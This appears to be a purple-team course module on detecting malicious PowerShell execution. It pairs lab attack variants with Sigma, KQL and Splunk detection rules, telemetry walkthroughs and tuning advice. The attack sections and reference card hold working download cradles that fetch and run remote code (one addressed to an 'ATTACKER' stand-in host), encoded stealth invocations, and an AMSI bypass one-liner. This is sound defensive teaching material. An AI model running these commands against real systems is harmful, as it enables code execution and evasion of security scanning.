In this section
PT3.1 Command and Scripting Interpreter: PowerShell (T1059.001)
1. Scene
It's 14:22 on a Thursday. A Northgate Engineering endpoint. DESKTOP-NGE034, assigned to a project manager in the engineering division, executes a PowerShell command that nobody typed. The process tree shows explorer.exe spawning powershell.exe with a Base64-encoded argument string 847 characters long. The decoded command calls Invoke-Expression on content downloaded from an external IP address over HTTPS. The download completes in 1.2 seconds. A child process spawns. The child process makes an outbound connection to a different external IP on port 443, then begins sending 64-byte packets at 60-second intervals.
Sysmon Event ID 1 captured every detail: the parent process, the command line, the encoded argument, the child process, the network connection. The event has been sitting in your Sentinel workspace for eleven minutes. No rule has fired. The PowerShell detection rule you deployed six months ago matches on -EncodedCommand in the command line. This command uses -e instead: the abbreviated parameter name. Your rule requires the full parameter name. Eleven minutes of C2 communication, and counting.
2. Learning Objectives
By the end of this sub you will be able to:
- Execute five PowerShell attack variants (download cradle, encoded command, AMSI bypass, Constrained Language Mode bypass, and fileless execution) against your lab endpoint and observe the distinct telemetry each produces
- Identify the Sysmon Event ID 1 and Windows Event ID 4104 (Script Block Logging) fields that distinguish malicious PowerShell from legitimate administration
- Write and tune a Sigma rule that detects malicious PowerShell execution across all common obfuscation techniques without producing false positives from IT admin scripts and SCCM deployments
3. The Technique
T1059.001. Command and Scripting Interpreter: PowerShell
PowerShell is the most heavily abused execution method in enterprise Windows environments. It ships with every Windows system, provides direct access to .NET, COM, and WMI, and can download and execute code entirely in memory without writing a file to disk. T1059.001 is a sub-technique of T1059 (Command and Scripting Interpreter), which covers all command-line and scripting execution methods.
PowerShell abuse comes in layers of sophistication. A basic attacker runs powershell.exe -e . A more sophisticated attacker uses powershell.exe -nop -w hidden -e to suppress the profile, hide the window, and encode the payload. An advanced attacker avoids powershell.exe entirely, loading the System.Management.Automation assembly directly from a .NET application or using PowerShell without the PowerShell executable (T1059.001 + T1027.010 overlap). Each layer produces different telemetry and requires different detection logic.
The technique appears in virtually every threat intelligence report. Red Canary's 2026 Threat Detection Report ranks T1059.001 as the most prevalent technique for the seventh consecutive year. M-Trends 2026 identifies PowerShell-based execution in 68% of Windows intrusions where execution telemetry was available. The technique is ubiquitous because it works. PowerShell provides everything an attacker needs without requiring additional tools.
5. Safety and Legal
6. The Attack
Variant 1. The download cradle
The download cradle is the most common PowerShell execution pattern in the wild. The attacker runs a single command that downloads content from an external URL and executes it in memory. No file touches disk.
# Classic IEX download cradle, downloads and executes in one command
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.20:8080/payload.ps1')This is the minimum viable PowerShell attack. It creates a Net.WebClient object, downloads a string from the attacker's server (in the lab, PT-LINUX01 hosting a payload via Python HTTP server), and pipes the string to Invoke-Expression (IEX), which executes the downloaded content as PowerShell code. The payload runs entirely in memory: no file is written to disk, and no file hash exists for signature-based detection.
The telemetry this produces:
- Sysmon Event ID 1, process creation for powershell.exe with the full command line visible
- Sysmon Event ID 3, network connection from powershell.exe to 10.0.0.20:8080
- Windows Event ID 4104. Script Block Logging captures the DEOBFUSCATED content of the downloaded script (if Script Block Logging is enabled)
- Defender for Endpoint. DeviceProcessEvents with ProcessCommandLine, DeviceNetworkEvents with the outbound connection
The download cradle has variants. Attackers rotate the download method to evade rules that match on Net.WebClient:
# Invoke-WebRequest variant (PowerShell 3+)
IEX (Invoke-WebRequest -Uri 'http://10.0.0.20:8080/payload.ps1' -UseBasicParsing).Content
# .NET WebClient with abbreviated method
IEX (New-Object System.Net.WebClient).DownloadString('http://10.0.0.20:8080/payload.ps1')
# Invoke-RestMethod (returns content directly)
IEX (Invoke-RestMethod -Uri 'http://10.0.0.20:8080/payload.ps1')
# System.Net.Http.HttpClient (.NET 4.5+)
$c = New-Object System.Net.Http.HttpClient; IEX $c.GetStringAsync('http://10.0.0.20:8080/payload.ps1').ResultEach variant produces different command-line strings but the same behavioral pattern: powershell.exe makes an outbound HTTP connection and executes the response. Your detection rule must catch the pattern, not the specific syntax.
Variant 2. Encoded commands
Base64 encoding is the most common obfuscation technique. The attacker encodes the entire command and passes it via the -EncodedCommand parameter (or its abbreviations):
# Encode a download cradle
$cmd = "IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.20:8080/payload.ps1')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$encoded = [Convert]::ToBase64String($bytes)
# Execute with full parameter name
powershell.exe -EncodedCommand $encoded
# Execute with abbreviated parameter, this evades rules matching "-EncodedCommand"
powershell.exe -e $encoded
powershell.exe -ec $encoded
powershell.exe -enc $encodedThe detection challenge: PowerShell accepts any unique prefix of the parameter name. -e, -ec, -en, -enc, -enco, -encod, and -EncodedCommand all work. A rule that matches only -EncodedCommand misses every abbreviation. Your Sigma rule must use a regex or wildcard that catches all prefixes.
The telemetry advantage: Script Block Logging (Event ID 4104) captures the decoded content regardless of how the command was encoded. Even if the process creation event shows only the Base64 blob, Script Block Logging shows the actual PowerShell that executed. This is why Script Block Logging is a non-negotiable prerequisite for PowerShell detection, process creation logging alone is insufficient.
Variant 3. AMSI bypass
The Antimalware Scan Interface (AMSI) inspects PowerShell content at runtime, before execution. It catches malicious scripts that encoding alone can't hide. Attackers bypass AMSI by patching the amsi.dll in memory before running their payload:
# Classic AMSI bypass, patches AmsiScanBuffer to return clean result
# This is the Matt Graeber one-liner pattern
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)This sets the internal amsiInitFailed field to true, which causes AMSI to skip all subsequent scans in the current PowerShell session. Every malicious script loaded after this line executes without AMSI inspection.
The telemetry this produces is subtle. Process creation logging shows no indication of the bypass, it's a .NET reflection call, not a suspicious command-line argument. Script Block Logging captures the bypass code itself (the string AmsiUtils and amsiInitFailed appear in the logged script block). Windows Defender may detect known AMSI bypass patterns through AMSI itself, but that creates a race condition: if the bypass executes before Defender can scan it, Defender never sees it.
Detection approach for AMSI bypass: Match on the strings that appear in all AMSI bypass variants. The technique requires accessing System.Management.Automation.AmsiUtils or calling AmsiScanBuffer/AmsiOpenSession via P/Invoke. These strings appear in Script Block Logging events regardless of encoding or obfuscation.
Variant 4. Constrained Language Mode bypass
Constrained Language Mode (CLM) restricts PowerShell to a subset of safe operations: no .NET calls, no COM objects, no Add-Type. It's enforced by AppLocker or WDAC in enterprise environments. Attackers bypass CLM by running PowerShell in a different context:
# Check current language mode
$ExecutionContext.SessionState.LanguageMode
# Returns: ConstrainedLanguage (if CLM is enforced)
# Bypass: spawn PowerShell via a process that isn't constrained
# Method 1: Use powershell_ise.exe (often not constrained by AppLocker)
powershell_ise.exe -Command "& {$ExecutionContext.SessionState.LanguageMode}"
# Method 2: Use InstallUtil.exe to load a .NET assembly that hosts PowerShell
# Method 3: Use MSBuild.exe with an inline task that creates a PowerShell runspaceThe detection signal for CLM bypass is the process ancestry. If powershell_ise.exe launches in FullLanguage mode on a system where powershell.exe is constrained, the bypass is active. The process creation event shows the parent, and if the parent is a LOLBin (InstallUtil, MSBuild, RegSvcs), the combination is the indicator.
Variant 5. Fileless execution via System.Management.Automation
The most advanced variant avoids powershell.exe entirely. The attacker loads the PowerShell runtime (System.Management.Automation.dll) from a .NET application, a C++ executable, or a script host. No powershell.exe process appears in the process tree:
Fileless PowerShell Execution. No powershell.exe Process
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
Traditional: explorer.exe → powershell.exe → payload
Fileless: explorer.exe → malicious.exe → [loads SMA.dll internally]
↓
PowerShell executes inside malicious.exe
No powershell.exe in process tree
Process creation rules don't fire
Script Block Logging STILL captures the code
SMA.dll = System.Management.Automation.dll (the PowerShell runtime)
Detection: Sysmon Event 7 (Image Loaded) for SMA.dll loaded
by a process that isn't powershell.exe or powershell_ise.exe
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━This variant is the reason Sysmon Event ID 7 (Image Loaded) is critical for PowerShell detection. Process creation rules (Event ID 1) that match on powershell.exe as the image name miss this entirely. Image-load rules that match on System.Management.Automation being loaded by an unexpected process catch it regardless of the host executable.
Linux: Does T1059.001 apply?
PowerShell is available on Linux (PowerShell 7+ is cross-platform). However, attackers rarely use PowerShell on Linux when Bash is natively available and doesn't require installation. T1059.001 on Linux is a low-priority detection, if you see pwsh or powershell process creation on a Linux system that doesn't have it installed for administration, it's almost certainly an implant.
The Linux execution baseline is covered in PT3.3 (Unix Shell).
7. What Just Fired
Sysmon Event ID 1. Process Creation (download cradle)
{
"EventID": 1,
"UtcTime": "2026-04-28 14:22:03.412",
"ProcessGuid": "{lab-win-001-...}",
"ProcessId": 7284,
"Image": "C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe",
"CommandLine": "powershell.exe -nop -w hidden -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMAAuADAALgAyADAAOgA4ADAAOAAwAC8AcABhAHkAbABvAGEAZAAuAHAAcwAxACcAKQA=",
"ParentProcessId": 3204,
"ParentImage": "C:\\Windows\\explorer.exe",
"ParentCommandLine": "C:\\Windows\\explorer.exe",
"User": "YOURLAB\\t.ashworth",
"IntegrityLevel": "Medium",
"Hashes": "SHA256=DE96A6E69944335375DC1AC238336066889D9FFC7D73628EF4FE1B1B160AB32C"
}The fields that matter for detection:
- CommandLine contains
-nop(no profile),-w hidden(window hidden), and-e(encoded command). These three flags together are the signature of automated PowerShell abuse: no human types them interactively. - ParentImage is
explorer.exe. PowerShell launched from Explorer means the user double-clicked something or a shortcut executed. In an attack, this typically means a malicious LNK file, a drive-by download, or a user-execution scenario. Legitimate admin PowerShell launches from cmd.exe, conhost.exe, or a terminal application. - User is a standard user account, not an admin. Legitimate admin scripts typically run under service accounts or elevated admin contexts.
Windows Event ID 4104. Script Block Logging
Event ID: 4104
Source: Microsoft-Windows-PowerShell
Level: Warning (suspicious block) / Verbose (all blocks)
ScriptBlockText: IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.20:8080/payload.ps1')
ScriptBlockId: {a3f4b2c1-...}
Path: (no path, command-line execution, not a script file)Script Block Logging captures the decoded content. The process creation event shows the Base64 blob. Event 4104 shows what the Base64 decoded to. This is your second detection layer, if the attacker evades process creation rules through encoding, Script Block Logging still catches the actual commands.
Sentinel. DeviceProcessEvents
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-e ", "-ec ", "-enc ", "-EncodedCommand")
| where ProcessCommandLine has_any ("-nop", "-NoProfile", "-w hidden", "-WindowStyle Hidden")
| project TimeGenerated, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLineDefender XDR. Advanced Hunting
DeviceProcessEvents
| where Timestamp > ago(1h)
| where FileName =~ "powershell.exe"
| where ProcessCommandLine has_any ("-e ", "-ec ", "-enc ", "-EncodedCommand")
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileNameNote the schema difference: Sentinel uses TimeGenerated, Defender XDR uses Timestamp. Sentinel uses InitiatingProcessCommandLine (available in the Defender for Endpoint connector), Defender XDR has the same field directly.
8. The Detection
Sigma rule. Suspicious PowerShell Execution
title: Suspicious PowerShell Execution — Encoded Command with Stealth Flags
id: rc-pt-exec-001
status: stable
description: |
Detects PowerShell execution combining encoded commands with stealth
flags (hidden window, no profile). This combination is characteristic
of automated payload delivery and rare in legitimate administration.
references:
- https://attack.mitre.org/techniques/T1059/001/
author: Ridgeline Cyber
date: 2026/04/28
tags:
- attack.execution
- attack.t1059.001
logsource:
category: process_creation
product: windows
detection:
selection_image:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
selection_encoded:
CommandLine|re: '(?i)\s-e[cnodma]*\s'
selection_stealth:
CommandLine|contains|any:
- '-nop'
- '-NoProfile'
- '-w hidden'
- '-WindowStyle Hidden'
- '-NonInteractive'
condition: selection_image and selection_encoded and selection_stealth
falsepositives:
- SCCM/Intune deployment scripts that use encoded commands
- Monitoring agents (e.g. SolarWinds, PRTG) running scheduled PS scripts
- IT automation platforms (Ansible, Puppet) executing remote PS
level: high
// Suspicious PowerShell — encoded command + stealth flags
// Sigma rule: rc-pt-exec-001
DeviceProcessEvents
| where TimeGenerated > ago(1h)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)\s-e[cnodma]*\s"
| where ProcessCommandLine has_any (
"-nop", "-NoProfile",
"-w hidden", "-WindowStyle Hidden",
"-NonInteractive"
)
| project TimeGenerated, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName,
InitiatingProcessCommandLine
| sort by TimeGenerated desc
// Suspicious PowerShell — encoded command + stealth flags
// Sigma rule: rc-pt-exec-001
DeviceProcessEvents
| where Timestamp > ago(1h)
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine matches regex @"(?i)\s-e[cnodma]*\s"
| where ProcessCommandLine has_any (
"-nop", "-NoProfile",
"-w hidden", "-WindowStyle Hidden",
"-NonInteractive"
)
| project Timestamp, DeviceName, AccountName,
ProcessCommandLine, InitiatingProcessFileName
index=sysmon EventCode=1
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
(CommandLine="* -e *" OR CommandLine="* -ec *" OR CommandLine="* -enc *"
OR CommandLine="* -EncodedCommand *")
(CommandLine="*-nop*" OR CommandLine="*-NoProfile*"
OR CommandLine="*-w hidden*" OR CommandLine="*-WindowStyle Hidden*"
OR CommandLine="*-NonInteractive*")
| table _time host user CommandLine ParentImage ParentCommandLine
Why these fields
The rule combines two signals that are individually common but jointly suspicious:
Encoded command (-e, -ec, -enc, etc.), legitimate PowerShell scripts occasionally use encoding, but combined with stealth flags, the pattern is almost exclusively attacker tooling. The regex (?i)\s-e[cnodma]*\s catches every valid abbreviation of -EncodedCommand while avoiding false matches on other parameters that start with -e (like -ErrorAction).
Stealth flags (-nop, -w hidden, -NonInteractive), these suppress the PowerShell profile, hide the window, and disable interactive prompts. An administrator running a script interactively doesn't need any of these. An automated deployment script might use one. An attacker uses all three.
Known evasions
PowerShell without powershell.exe. Loading System.Management.Automation.dll directly bypasses this rule entirely. The detection for that variant requires Sysmon Event ID 7 (Image Loaded): a separate rule (covered in the supplementary detection below).
String concatenation in the command line. Attackers split parameter names: powershell.exe "-No" + "Profile" -e . The process creation event shows the concatenated result in some environments but the split form in others (depends on the parent process and how it constructs the command line). Script Block Logging captures the actual execution regardless.
Parent process spoofing. PPID spoofing can make PowerShell appear to have a legitimate parent. The detection for this requires correlating PPID with actual process creation events, if the claimed parent PID doesn't have a matching Sysmon Event 1, the PPID is spoofed.
Supplementary detection. PowerShell without powershell.exe
title: PowerShell Runtime Loaded by Non-PowerShell Process
id: rc-pt-exec-002
status: experimental
description: |
Detects System.Management.Automation.dll or ni.dll loaded by a process
that is not powershell.exe or powershell_ise.exe. Indicates PowerShell
execution without the PowerShell executable — a fileless execution
technique used by advanced adversaries.
references:
- https://attack.mitre.org/techniques/T1059/001/
- https://attack.mitre.org/techniques/T1027/010/
author: Ridgeline Cyber
date: 2026/04/28
tags:
- attack.execution
- attack.t1059.001
- attack.defense_evasion
- attack.t1027.010
logsource:
category: image_load
product: windows
detection:
selection:
ImageLoaded|endswith:
- '\System.Management.Automation.dll'
- '\System.Management.Automation.ni.dll'
filter_legitimate:
Image|endswith:
- '\powershell.exe'
- '\pwsh.exe'
- '\powershell_ise.exe'
- '\DVSA.exe'
- '\ServerManager.exe'
condition: selection and not filter_legitimate
falsepositives:
- Custom .NET applications that legitimately host PowerShell
- Some Microsoft management tools load SMA.dll
level: medium
// PowerShell runtime loaded by non-PowerShell process
// Sigma rule: rc-pt-exec-002
DeviceImageLoadEvents
| where TimeGenerated > ago(1h)
| where FileName in~ (
"System.Management.Automation.dll",
"System.Management.Automation.ni.dll"
)
| where InitiatingProcessFileName !in~ (
"powershell.exe", "pwsh.exe", "powershell_ise.exe",
"DVSA.exe", "ServerManager.exe"
)
| project TimeGenerated, DeviceName, InitiatingProcessFileName,
InitiatingProcessCommandLine, FileName
9. The Tuning Loop
False positive sources
SCCM/Intune deployment scripts. Enterprise software deployment often uses encoded PowerShell commands with -NoProfile and -NonInteractive flags. These are legitimate but match the rule. Frequency: 5-20 per day depending on deployment cadence.
Monitoring agents. Tools like SolarWinds, PRTG, and Nagios run PowerShell commands on schedule to collect system metrics. They often use -NoProfile and -NonInteractive. Frequency: 10-50 per day per agent.
IT automation. Ansible, Puppet, and SCCM run PowerShell remotely via WinRM. The session flags match the stealth profile. Frequency: varies by automation maturity, from zero to hundreds per day.
Concrete tuning strategies
Tune by parent process. SCCM deployments launch PowerShell from ccmexec.exe or svchost.exe with a specific service name. Add a parent-process exclusion for ccmexec.exe, but only when the parent command line contains {SCCM task sequence GUID}. A bare exclusion on ccmexec.exe suppresses everything SCCM launches, including an attacker who hijacks the SCCM agent.
Tune by user context. Monitoring agents run under service accounts (e.g., svc.solarwinds, svc.prtg). Exclude these specific accounts, but log the exclusion so you can audit it monthly. A compromised service account using the exclusion to hide is the exact attack you lose visibility into.
Tune by command-line hash. If an IT automation system runs the same encoded command repeatedly (same Base64 blob), hash the command-line string and build an allowlist of known-good hashes. New hashes from the same parent process trigger the alert, this catches an attacker who replaces the automation payload with a malicious one.
Baseline FP rate. In a typical 800-endpoint environment (like Northgate Engineering), expect 15-30 false positives per day from the primary rule (rc-pt-exec-001) before tuning. After parent-process and user-context exclusions, expect 2-5 per day. The supplementary rule (rc-pt-exec-002) produces 0-2 per day, most environments have very few legitimate SMA.dll loaders.
Continuous purple-team rhythm. After tuning, re-fire the download cradle and encoded command variants monthly. Confirm the rule still fires. OS updates, Sysmon config changes, and Sentinel connector updates can silently break detections. The re-test takes 5 minutes and confirms coverage.
10. Decision Exercise
You receive the following alert from your Sigma rule rc-pt-exec-001:
Process: powershell.exe
Command: powershell.exe -NoProfile -WindowStyle Hidden -e <base64 blob>
Parent: wmiprvse.exe
User: YOURLAB\svc.sql
Time: 03:14 UTC (Sunday)
Device: SRV-NGE-DB01Decoded Base64:
Invoke-WebRequest -Uri 'http://198.51.100.44/maint.ps1' | IEXChoose one:
A. True positive, isolate SRV-NGE-DB01 immediately. Service account running an encoded download cradle from a WMI provider host at 3 AM on a Sunday is an active compromise.
B. Likely true positive but needs verification, check whether svc.sql has a scheduled WMI task that runs a maintenance script. If the task exists and was created by IT, this is a legitimate automation script that needs to be added to the exclusion list.
C. False positive, svc.sql is a known service account and WMI execution is normal for database maintenance. Close the alert.
D. Needs more context, query the external IP 198.51.100.44 against threat intelligence feeds before making a containment decision. The parent process and user context aren't sufficient to classify.
Model answer
B is the optimal answer. The indicators are suspicious, encoded download cradle, external URL, WMI parent, service account, 3 AM Sunday, but the service account (svc.sql) and the server (SRV-NGE-DB01) are a known combination. The investigation path:
1. Check whether svc.sql has a WMI event subscription or scheduled task that runs PowerShell maintenance 2. If yes: verify the task was created by IT (check the creation timestamp and the account that created it) 3. If the task is legitimate: add the specific task to the exclusion list (by command-line hash, not by blanket service-account exclusion) 4. If no legitimate task exists: this is a true positive: the attacker is using the service account for execution via WMI at a time when nobody is watching
Why not A: Immediate isolation without checking for a legitimate task risks taking down a production database server on a false positive. The 5-minute check is worth the delay.
Why not C: Classifying as FP without investigation is negligent. "Service accounts run WMI" is true, but "service accounts download scripts from external IPs via WMI at 3 AM" is not normal. The external URL is the red flag.
Why not D: TI lookup on the IP is useful context but shouldn't be the deciding factor. A clean IP doesn't mean the activity is legitimate: the attacker may be using fresh infrastructure. The parent process and task verification are more conclusive.
11. Try-it
# On PT-LINUX01, serve a harmless test payload
echo 'Write-Output "Purple team payload executed at $(Get-Date)"' > /tmp/payload.ps1
cd /tmp && python3 -m http.server 8080# Variant 1. Download cradle (should fire)
IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.20:8080/payload.ps1')
# Variant 2. Encoded command with stealth flags (should fire)
$cmd = "Write-Output 'Encoded execution test at $(Get-Date)'"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($cmd)
$enc = [Convert]::ToBase64String($bytes)
powershell.exe -NoProfile -WindowStyle Hidden -e $enc
# Variant 3. Abbreviated parameter (should fire, tests regex)
powershell.exe -nop -w hidden -ec $enc
# Variant 4. Invoke-WebRequest variant (should fire via download + stealth)
powershell.exe -nop -w hidden -e ([Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes("IEX (Invoke-WebRequest -Uri 'http://10.0.0.20:8080/payload.ps1' -UseBasicParsing).Content")))
# Variant 5. No stealth flags (should NOT fire, tests that the rule
# requires both encoded AND stealth, not just one)
powershell.exe -e $encTry it: fire five PowerShell execution variants and verify detection
Setup. PT-WIN-ENDPOINT running with Sysmon active. PT-LINUX01 hosting a test payload via Python HTTP server:
Sentinel, Defender XDR, and your secondary SIEM all receiving events. Deploy the Sigma rule rc-pt-exec-001 to Sentinel as an analytics rule before starting.
Task. Execute each of the five variants on PT-WIN-ENDPOINT. After each, wait 5-10 minutes for telemetry to arrive in Sentinel. Verify whether your deployed rule fires for each variant.
Expected result. Variants 1-4 should trigger the Sigma rule rc-pt-exec-001 in Sentinel. Variant 5 should NOT fire (it has an encoded command but no stealth flags, this tests that the rule requires the conjunction). Variant 1 may not fire if your rule doesn't match download cradles without encoding, this is expected and identifies a gap for a second rule.
Check Sysmon Event ID 4104 (Script Block Logging) for all five variants, even Variant 5 should appear in Script Block Logging with the decoded content.
Debugging.
If no variants fire: check that the analytics rule is enabled and the schedule interval is ≤15 minutes. Check the Sentinel logs for Sysmon Event 1, if the events aren't arriving, the issue is ingestion, not the rule.
If Variant 3 doesn't fire but Variant 2 does: your regex is too narrow. The abbreviated -ec should match the regex (?i)\s-e[cnodma]*\s. Check whether the regex requires a space after the parameter, some implementations need \s after the parameter prefix.
If Variant 5 fires: your rule is matching on encoded commands without requiring stealth flags. This will produce excessive FPs in production. IT scripts frequently use encoding without stealth flags. Tighten the condition to require both.
Reference Card
# Download cradle
IEX (New-Object Net.WebClient).DownloadString('http://ATTACKER:8080/payload.ps1')
# Encoded + stealth
powershell.exe -nop -w hidden -e <base64>
# AMSI bypass
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)